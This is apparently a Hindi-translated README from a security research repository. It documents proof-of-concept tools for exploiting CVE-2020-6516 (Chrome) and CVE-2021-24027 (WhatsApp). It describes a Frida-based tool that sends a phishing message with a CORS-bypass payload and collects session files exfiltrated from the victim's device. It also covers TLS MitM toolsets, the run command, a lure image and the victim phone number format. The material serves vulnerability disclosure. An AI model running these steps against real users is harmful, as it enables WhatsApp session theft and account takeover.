
PoC और CVE-2020-6516 (Chrome) और CVE-2021-24027 (WhatsApp) के शोषण के लिए उपकरण
इस रिपॉजिटरी में PoC कोड और टूल्स शामिल हैं जो Android के लिए WhatsApp पर Man-in-the-Disk (MitD) कमजोरियों का दूरस्थ शोषण करने पर हमारे शोध [01] के भाग के रूप में विकसित किए गए थे। जैसा कि हमारे ब्लॉग पोस्ट में चर्चा की गई है, यहां पाए जाने वाले कोड और साथ में स्क्रिप्ट का उपयोग CVE-2020-6516 (Chrome) [02] और CVE-2021-24027 (WhatsApp) [03] का शोषण करने के लिए किया गया था।
इस रिपॉजिटरी की संरचना इस प्रकार है:
वर्तमान निर्देशिका में Python टूल है जो Frida का उपयोग करके WhatsApp को हुक करता है, CORS बाइपास पेलोड ले जाने वाला फ़िशिंग संदेश भेजता है और एक HTTP सर्वर चलाता है, जहां पीड़ित डिवाइस से निकाले गए सत्र फ़ाइलें भेजी जाती हैं।
tls12_psk_extract/ में TLS v1.2 MitM टूलसेट शामिल है। MitM वातावरण तैयार करने के तरीके के बारे में अधिक जानकारी के लिए उस निर्देशिका में README.md देखें।
watls_psk_extract/ में TLS v1.3 (WaTLS) MitM टूलसेट शामिल है। MitM वातावरण तैयार करने के तरीके के बारे में अधिक जानकारी के लिए उस निर्देशिका में README.md देखें।
openssl-1.1.1f-patches/ में TLS v1.2 और/या TLS v1.3 MitM वातावरण स्थापित करने के लिए आवश्यक OpenSSL 1.1.1f पैच शामिल हैं।
secrets/ में एक सरल शेल स्क्रिप्ट और OpenSSL कॉन्फ़िगरेशन है जो WhatsApp TLS v1.3 बुनियादी ढांचे द्वारा उपयोग किए जाने वाले प्रमाणपत्रों के समान प्रमाणपत्र उत्पन्न करने के लिए है। उत्पन्न कुंजियाँ और प्रमाणपत्र TLS v1.2 और v1.3 MitM दोनों के लिए उपयोग किए जा सकते हैं।
अंतिम लेकिन महत्वपूर्ण, misc/ में विभिन्न Frida स्क्रिप्ट्स शामिल हैं जिनका उपयोग हमारे शोध के दौरान परीक्षण और डिबगिंग उद्देश्यों के लिए किया गया था और ये अन्य शोधकर्ताओं के लिए सहायक हो सकती हैं।
PoC का परीक्षण करने के लिए आपको WhatsApp 2.20.206.22 [04] चलाने वाले Android डिवाइस की आवश्यकता है। भले ही हमारा कोड शुरू में 2.19.355 के लिए विकसित किया गया था, और इसलिए आप frida_scripts/ के अंतर्गत संबंधित स्निपेट पा सकते हैं, वह संस्करण आजकल 'समाप्त' माना जाता है और काम नहीं करेगा।
PoC शुरू करने से पहले, WhatsApp के DEX कोड को जितना संभव हो उतना कम संकलित करना एक अच्छा विचार है। ऐसा करने से सक्रिय रूप से Frida द्वारा विशिष्ट विधियों को हुक करने में असमर्थता जैसी समस्याओं से बचने में मदद मिल सकती है।
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Frida सर्वर डाउनलोड करें और इसे अपने Android डिवाइस पर /data/local/tmp के अंतर्गत पुश करें, डिफ़ॉल्ट फ़ाइल नाम को वैसे ही छोड़ दें। संस्करण 12.8.10 का परीक्षण किया गया है और यह अच्छी तरह से काम करता है। यदि आप चाहें तो एक नया संस्करण डाउनलोड करने के लिए स्वतंत्र हैं। PoC स्वचालित रूप से Frida सर्वर बाइनरी का पता लगाएगा और उपयुक्त कमांड लाइन तर्कों के साथ इसे निष्पादित करने का प्रयास करेगा।
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
एक्सप्लॉइट का मुख्य तर्क main.py में लागू किया गया है। फ़ाइलें adb.py और frida_util.py उन टूल्स के छोटे संस्करण हैं जिनका उपयोग हम Android उपकरणों पर विभिन्न डिबगिंग कार्यों के लिए आंतरिक रूप से करते हैं।
PoC चलाने के लिए, अपने Android डिवाइस को अपने कंप्यूटर से कनेक्ट करें और निम्नलिखित कमांड चलाएँ:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
main.py को पास किए गए कमांड लाइन स्विच निम्नलिखित हैं:
-s - उपयोग करने के लिए Android डिवाइस का सीरियल नंबर, यदि हमलावर के कंप्यूटर पर कई Android डिवाइस जुड़े हों।
-a और -p - क्रमशः HTTP सर्वर का पता और पोर्ट, जहां निकाले गए सत्र भेजे जाएंगे।
-r - main.py को स्थानीय कंप्यूटर पर उपर्युक्त HTTP सर्वर शुरू करने का निर्देश देता है। यदि आप -r पास नहीं करते हैं, तो सुनिश्चित करें कि आप -a और -p द्वारा निर्दिष्ट होस्ट पर server.py चलाते हैं।
स्थितीय तर्क निम्नलिखित हैं:
images/guardian.jpg - एक JPG छवि जिसका उपयोग नकली संदेश पूर्वावलोकन के रूप में किया जाएगा, ताकि पीड़ित को उस पर क्लिक करने के लिए लुभाया जा सके।
[email protected] - WhatsApp प्रारूप में पीड़ित का मोबाइल फोन नंबर। यह आमतौर पर देश उपसर्ग के बाद मोबाइल नंबर होता है। उदाहरण के लिए, ग्रीक नंबर (+30) [email protected] जैसे दिखते हैं।
"Rush for Mediterranean gas" - संदेश कैप्शन के रूप में उपयोग की जाने वाली एक मनमानी स्ट्रिंग।
वास्तविक जीवन उपयोग उदाहरण के लिए, हमारे ब्लॉग पोस्ट, और विशेष रूप से प्रदर्शन वीडियो देखें।
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027